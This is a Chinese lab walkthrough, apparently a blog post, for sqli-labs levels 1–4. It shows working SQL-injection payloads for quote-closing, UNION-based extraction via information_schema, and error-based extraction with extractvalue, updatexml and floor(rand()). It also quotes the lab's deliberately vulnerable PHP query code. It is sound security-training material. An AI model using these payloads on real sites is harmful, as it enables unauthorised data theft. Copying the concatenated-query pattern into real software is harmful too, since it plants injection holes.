less-1

打开页面后,根据提示,要在URL后面添加参数id,输入:/?id=1

(1)输入:/?id=1 and 1=1,页面没有变化,"and 1=1"有可能被当作SQL语句的一部分执行,也有可能只是作为字符串’1 and 1=1’的一部分。可以在数据库中测试一下:

"="右边的字符串会进行数据类型的转换,转换成字符串开头的整型数字 1,如果不以数字开头,则转换成整型数字 0:

(2)输入:/?id=1 and 1=2,页面仍然没有变化,说明1后面的子字符串确实作为字符串的一部分,如果不是,那么根据"and 1=2"的逻辑,SQL语句返回的结果集为空,页面应该是没有内容返回。

(3)输入:/?id=1’,页面出现一些报错信息

这说明什么?说明单引号 ’ 已经影响到了语句的合法性,这个单引号不再是简单的单引号字符,有着闭合字符串的作用,’‘1’’ LIMIT 0,1’前后两个单引号不是SQL语句的一部分,‘1’'的三个单引号中间一个是自己输入的。接下来可以利用单引号闭合并且进行注入。

(4)输入:/?id=1’ and 1=1 --%20

(5)输入:/?id=1’ and 1=2 --%20
这两次测试,证明了注入的语句(and 1=1或and 1=2)已经被当作SQL语句的一部分被执行了,接下来就可以注入其它语句了。

(6)order by获取后端设置的这条语句的字段数,输入:/?id=1’ order by 3 --%20,order by 4的话就报错了。所以字段数为3。

(7)输入:/?id=-1’ union select 1,2,3 --%20
在这里插入图片描述id=’-1’是为了让前面一条select语句结果为空,这样的话就能返回后面一条select语句的结果(1,2,3),否则的话前面那条语句的结果会占用了回显点,而回显点是页面中的"2"和"3",可以在这两个位置显示我们想要获取的数据。

(8)获取数据的两种方式:
1、利用MySQL的信息数据库information_schema结合回显点提取数据;
2、基于报错信息提取数据。

方式一:

1、information_schema保存所有数据库的信息,其中schemata表保存所有数据库的信息。
可以看到SCHEMA_NAME字段的值都是数据库名。

输入:/?id=-1’ union select 1,schema_name,3 from information_schema.schemata limit 0,1 --%20
修改"limit 0,1"的"0"为其它数字,可以获取其它数据库名。

注意:information_schema.schemata(数据库名.表名)是指定表的一种方式,当在其它数据库中(use 数据库名)时 ,可以用这种方式对information_schema库进行操作。

2、再考虑如何获取数据库中的表,同样是在information_schema数据库中保存一张tables表,里面保存着某个数据库以及它包含的所有的表。

CHARACTER SETS是information_schema库下的第一张表,其它表也是在这个TABLE_NAME字段下。那么获取所有的表可以依靠这个tables表。

输入:/?id=-1’ union select 1,table_name,3 from information_schema.tables where table_schema=‘test’ limit 0,1

可以修改"test"来指定其它数据库,修改"limit 0,1"的"0"为其它数字,来获取其它表名。

3、接下来考虑如何获取某张表的字段,information_schema库中的columns保存所有的表和它对应的所有字段。

CHARACTER_SET_NAME是CHARACTER_SETS表的第一个字段。

输入:/?id=-1’ union select 1,column_name,3 from information_schema.columns where table_name=‘test’ limit 0,1 --%20

修改’test’来指定其它表,修改"limit 0,1"的"0"为其它数字来,获取其它字段名。

4、最后考虑获取某个字段的所有值,通过前面步骤得到的所有数据库、表、字段,构造语句即可。

输入:/?id=-1’ union select 1,username,3 from users limit 0,1 --%20

默认是在当前所选择的数据库中指定users表,如果要在其它数据库中查找,可以通过 “数据库.表名” 来指定其它数据库的表,修改"limit 0,1"的"0"为其它数字来,获取其它字段名。

方式二:

extractvalue()函数和updatexml()函数是MySQL对处理XML文档数据的支持,extractvalue()可以提取XML文档中的某个标签的文本部分。如:
在这里插入图片描述updatexml()是对XML文档中某个标签进行更新。如:
author标签被替换成"new"字符串了。

形如"/string1/string2/…"格式的字符串属于Xpath语法格式。

1、利用extractvalue()函数,使其报错后显示数据。
输入:/?id=1’ and extractvalue(1, concat(0x7c, (select database()))) --%20
报错的原因是XPATH语法错误,很明显是extractvalue()第二个参数的语法格式不对,导致报错并且显示这个参数的值,所以可以利用这个参数来获取数据。

0x7c是 " | " 的十六进制ASCII码,有时候这种方式绕过一些防护机制,例如单引号和双引号被过滤时。

输入:/?id=1’ and extractvalue(1, mid(concat(0x7c, (select group_concat(schema_name) from information_schema.schemata), 0x7c),1)) --%20

concat(str1, str2…): 返回结果为连接参数产生的字符串。如有任何一个参数为NULL ,则返回值为 NULL。
concat_ws(separator,str1,str2,…): concat_ws 代表 concat With Separator ,是CONCAT()的特殊形式。第一个参数是其它参数的分隔符。分隔符的位置放在要连接的两个字符串之间。分隔符可以是一个字符串,也可以是其它参数。与concat()不同,不会因为NULL值而返回NULL 。
group_concat(column_name): 返回字段下的所有值(null除外),并以“ , ”分隔返回一个字符串。
mid(str, x[, length])从 x 指定位置(最小为1)开始截取,如果不指定截取长度length,就直到最后。

结果发现报错信息只显示一部分的字符串,这可以用mid()截取后面的字符串。

接下来获取表、字段和字段值的思路跟方式二的类似。

2、利用updatexml()函数,使其报错后显示数据。

输入:/?id=1’ and updatexml(1, mid(concat(0x7c, (select group_concat(schema_name) from information_schema.schemata), 0x7c),1), 1) --%20

updatexml()函数有 3 个参数,第 1 个和第 3 个不关心,关键是第 2 个,这个参数同样要求是XPATH格式,否则就会报错,所以updatexml()与extractvalue()的报错原因是一样的。思路跟extractvalue()报错注入一样。

3、利用count()、rand()和floor(),使其报错后显示数据。

输入:/?id=1’ union select 1,2,count(*) from information_schema.tables group by concat(floor(rand(0)*2), 0x7c, (select database())) --%20

count():统计结果集中的记录数。
floor():向下取整。
rand():返回 1 个[0,1]的小数。
group by语句:用于结合合计函数,根据一个或多个列对结果集进行分组。

上面select语句的意思就是:根据group by后面的字段对结果集进行分组,并用count()函数统计每一组的记录数。

其实得到的结果集跟tables表中的字段没有太大关系,只是统计出来的所有记录数相加起来等于tables的行数。

报错的主要原因是在建立虚拟表时,rand()函数被计算 2 次,查询虚拟表是否存在同一主键之前计算 1 次,当插入虚拟表时,如果不存在同一主键时,rand()又计算 1 次,这次计算出来的主键刚好在虚拟表时,由于主键的唯一性,从而导致报出"Duplicate entry ‘1|security’ for key ‘group_key’"的重复主键错误。

报错的详细原因看这篇文章:https://www.cnblogs.com/xdans/p/5412468.html

源代码

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);             // 在数据库中执行SQL语句
$row = mysql_fetch_array($result);     // 得到SQL语句执行后返回的结果集

if($row)
{
  	echo "<font size='5' color= '#99FF00'>";
  	echo 'Your Login name:'. $row['username'];  // 回显点
  	echo "<br>";
  	echo 'Your Password:' .$row['password'];    // 回显点
  	echo "</font>";
 	}
else 
{
	echo '<font color= "#FFFF00">';
	print_r(mysql_error());             // 输出异常信息
	echo "</font>";  
}
else { echo "Please input the ID as parameter with numeric value";}

当返回不为空的结果集($row)时,页面就会显示$row[‘username’]和$rw[‘password’],即username字段和password字段。
当结果为空或者查询异常时,程序就会执行mysql_error()函数,获取异常的原因,并print_r()输出,之所以能够根据报错信息构造SQL语句,还能进行报错注入,是因为后端代码将异常信息输出,让我们看到。

less-2、less-3、less-4

后面3关less-2、less-3和less-4的思路差不多,一开始都是利用单引号、双引号、圆括号等特殊字符触发异常,然后根据报错信息来构造语句,一旦构造出正确的注入语句,获取数据的思路都是跟less-1一样。

3关的SQL语句

// less-2
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";

// less-3
$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";

// less-4
$id = '"' . $id . '"';
$sql="SELECT * FROM users WHERE id=($id) LIMIT 0,1";
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值